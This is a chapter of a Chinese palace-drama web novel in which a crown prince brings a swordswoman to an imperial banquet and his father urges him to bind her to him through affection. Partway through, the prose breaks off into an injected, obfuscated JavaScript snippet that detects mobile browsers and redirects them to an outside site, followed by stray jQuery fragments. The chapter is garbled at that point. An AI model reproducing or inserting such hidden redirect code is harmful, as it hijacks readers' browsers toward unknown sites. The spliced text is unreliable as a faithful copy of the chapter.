22. 以情做笼

作品:《东宫无剑

    “呦,这不是大哥吗?”一道熟悉嗓音响起。


    李玉衡眉心皱了下,回过头去,笑脸宽和俊雅:“三弟来了。”


    李开阳嘴角扯着,手里扶着一位雍容艳丽的美妇人,妇人朝李玉衡行礼,姿态落落大方,“见过太子殿下。”


    李玉衡回礼:“荣妃娘娘安好。”


    李开阳同时也向李玉衡行礼,三人有来有回,有礼有节。


    只有辜山月,木头似的杵着,冷眼看着对面二人。


    李开阳刚要开口斥她无礼,可一细看,才发觉这一身宫装的人竟是辜山月。


    他骇然道:“怎么是你?!”


    他还记得上回太子府宴,他险些被无垢划破喉咙的惊悚之事。


    荣妃看清辜山月的模样,以及她身上那套衣裙,脸上的笑瞬间僵硬。


    她不怕与嫔妃内斗,却怕辜山月这种一言不合便拔剑的莽人。


    辜山月察觉到她们的畏惧,她抬着下巴,往前一步。


    荣妃和李开阳齐齐后退,反应无比迅速,荣妃衣摆华丽宽大,后退时甚至还踉跄了下。


    辜山月嗤笑一声,荣妃勉强维持住姿态:“你入宫做什么?”


    “荣妃娘娘此言差矣,阿月如同母亲亲妹,孤带阿月入宫参加家宴,父皇都不曾开口,哪里又容他人置喙?”


    李玉衡语气温和,娓娓道来,可言辞却犀利带刺。


    李开阳面色一变,开口就要讽刺,却被荣妃拉住。


    荣妃目光微闪,笑道:“太子殿下说得是,殿下护着月姑娘自然可以,只是虞家小姐孤身前来,怕是要伤心了。”


    她意有所指,李玉衡一回头,果然见虞静姝一行人正停在不远不近的地方,不知该不该过来。


    “荣妃娘娘还是多操心三弟吧,孤之家事,自有父皇决断。”李玉衡笑得温文尔雅,绵中带刺。


    荣妃脸白了白,李开阳更是气得脸色发红。


    李玉衡当年生死不知,一走十年,任谁都以为太子之位即将顺位落到李开阳手上,可雍帝始终不曾松口,硬生生拖到李玉衡归来。


    可偏偏李玉衡不是个草包,即便离宫十年,一回来便大展拳脚,赢得朝野一片赞誉。


    后位空悬多年,荣妃明示暗示无数次,雍帝也都同她打太极,绝不肯扶她为皇后。


    若她登后位,李开阳便可算做嫡出,再拿李玉衡离宫十年做文章,未必没有胜算。


    可桩桩件件的算计全都落了空,才导致如今母子二人不尴不尬的局面。


    不论心中如何气恼,荣妃面上还端着长辈姿态,挑剔看向辜山月:“月姑娘这身打扮,是想要陛下追忆故人吗?我原以为月姑娘心在江湖,原来也向往深宫?”


    话放出口是痛快,可才说完她便后悔了,看着辜山月面无表情的样子,她只觉得脖子凉凉的。


    荣妃也顾不得礼仪,拉上李开阳就往太微宫中走,生怕走慢些就被辜山月一剑刺穿。


    辜山月在她背后,嗓音淡淡:“当年不杀你是师姐不允,如今你还往我面前凑,是想几更死?”


    一个死字轻飘飘,荣妃一个腿软踉跄,险些扑倒在地。


    李开阳扶着荣妃,恼怒回头道:“妖女休得嚣张,在皇宫还敢放肆!”


    话刚落下,方才离去的宫人快步走来,行礼道:“回太子殿下,陛下允了。”


    李玉衡眸光一动,眼角余光望着看过来的荣妃母子,故意多问一句:“允了什么?”


    宫人恭顺道:“允月姑娘带剑上殿。”


    李玉衡点点头,再一抬眼,荣妃母子二人已然不知去向。


    “跑得还真快。”辜山月抱胸冷哼。


    李玉衡笑,整理辜山月歪掉的衣襟:“姐姐大名如雷贯耳,无垢剑更是她们心头死关,自然抱头鼠窜。”


    两人入殿,白砚与漆白桐不得上殿,只在殿外等待。


    宫宴将将开始,丝竹管弦悠扬飘远,舞女歌姬衣裙翻飞如花,大殿中香气浮动,即便桌案小几坐了不少人,可几乎听不见人声,只有动听歌声回荡。


    李玉衡埋头行礼:“儿臣拜见父皇。”


    半晌,却没有回应。


    龙椅之下,华发早生的英武皇帝猛地按住桌案,酒水溅出打湿龙纹袖口,可他浑不在意,一双眼只紧紧盯着堂下的辜山月。


    辜山月形容散漫,不跪不拜不垂首,一双眼直视雍帝失态的模样,面上露出嘲弄的笑。


    “阿玉……”雍帝嘴唇微动,低声喃喃。


    旁人没听见,辜山月何等耳力,她掏掏耳朵:“皇帝年纪大了,眼神也不好了,这么想念师姐,不如下去陪她?”


    雍帝身旁侍立的太监立马呵斥道:“住口!何人胆敢口出狂言……”


    话还没说完,雍帝抬手,太监立马停口。


    那身衣裙,那卓然不凡的剑客气质,多像当年的乌山玉。


    雍帝望着她不语,群臣噤声,李玉衡仍维持着行礼的动作,辜山月也依旧昂着头,面色冷傲,像是随时会一跃而起给雍帝一剑。


    而她腰间,也确实挂着无垢剑。


    雍帝并非不知道她是辜山月,其实她同乌山玉也并不很像,两人容貌身形气质皆迥然不同。


    可穿上那身衣裳,辜山月同大殿格格不入的模样,总能让他想起曾经的乌山玉。


    殿中安静,只有管弦声还在飘扬,雍帝终于坐了回去,开口道:“你……可要舞剑?”


    众人皆惊,李开阳更是失态拂落了酒杯。


    谁也想不到,如今脾性越来越暴躁的雍帝,面对这么一个无法无天的无礼女子,居然毫不动怒,甚至于语气带着点……希冀。


    辜山月管他什么皇帝天子,直接拂袖而去。


    “舞什么剑,一群俗人也配看我的剑。”


    本来说好要陪李玉衡,可一见到荣妃母子,再见到雍帝,以及殿中那些眼珠乱转的大臣,辜山月只觉得无比厌烦。


    大不了在殿外等他,也勉强算是陪了。


    若要她坐进殿中,前后左右都是那一张张道貌岸然的脸,她可受不了。


    辜山月转身便走,殿中丝竹之声打了个颤音也停了,乐人惊恐跪地。


    群臣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421963|183740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皆悄然关注着雍帝的面色变化,雍帝望着那道宫装身影消失在殿门前,如同被阳光吞没。


    良久,雍帝起身:“衡儿,跟来。”


    李玉衡弯腰行礼:“是。”


    荣妃李开阳对视一眼,眼里都是不甘心。


    一个死人而已,活着的时候谁也动不得,怎么死了也能跳出来,坏她们的事。


    偏殿内,雍帝坐着,李玉衡跪着。


    许久,雍帝盯着他的头顶,手指摩挲着花纹繁复的金杯:“衡儿,你的太子妃是虞静姝。”


    李玉衡答:“儿臣知晓。”


    “知晓?”金杯落在桌上,不轻不重一响,“那今日你为何带着辜山月入宫?”


    李玉衡没有丝毫停顿,答道:“她与母亲情同姐妹,待我更是真挚用心,衡儿自然也愿回报一二。”


    雍帝闻言,似是生了兴趣:“你打算如何回报?”


    李玉衡垂首道:“尽儿臣所能。”


    一阵沉默。


    雍帝一眼不发,李玉衡额角一滴汗水滑落。


    今日之事,是冒险为之。此时雍帝态度不明,李玉衡不免忐忑,“父皇……”


    “哈哈哈哈哈……”


    雍帝忽然大笑,李玉衡猛地抬头,只看见雍帝堪堪收住的笑,那双方才还蕴藏着无限追忆的眼睛,这会带着满意的眼神落在李玉衡身上。


    “你很聪明,她这样的人会是最忠心的属下,最好用的刀。”


    李玉衡闻言一震,


    心头万般情绪涌出,几乎有种物伤其类之感。


    他以为辜山月会让雍帝想起曾经的乌山玉,想起当年的青葱岁月,可原来雍帝想起的是这些吗?


    如果辜山月在他眼中只是一把刀,那他母亲呢?


    李玉衡嘴唇动了动,理智克制之下,他没有问出口,只道:“儿臣愚钝。”


    “江湖儿女不比朝臣世家之女,你若要牢牢困住她,旁的无用,唯有用情做笼。不过多一桩风流韵事罢了,你现在做得就很好。”


    雍帝捏着金杯,意味深长地点拨堂下年轻的儿子。


    不是这样的,李玉衡心中反驳,他并未如此。


    可反驳完,李玉衡心念一转,他虽非如此,可确实也想留下辜山月。


    “为何不语?”雍帝高高在上地发问,似有不悦。


    李玉衡立马跪拜高呼:“父皇英明。”


    雍帝挥手:“去吧。”


    李玉衡俯身倒退而出,雍帝很少同他单独谈话,看来今日带辜山月前来,是个正确的决定。


    退出殿外,那股压在头顶的帝王气势缓缓散去,他挺直腰身,慢慢呼出一口气。


    晚风拂过,他抬起脸,脸上放松的笑还没来得及露出来,瞬间滞住。


    “姐姐……”


    大殿飞檐之上,圆月如玉盘,辜山月抱剑而立,衣角与发带在风中飞扬,正垂目看着他,神色不明。


    李玉衡心头骤然一坠,如同梦中初醒,一脚踏落悬崖的惊恐感浮上来。


    他上前一步,急急道:“姐姐,你听到什么了……”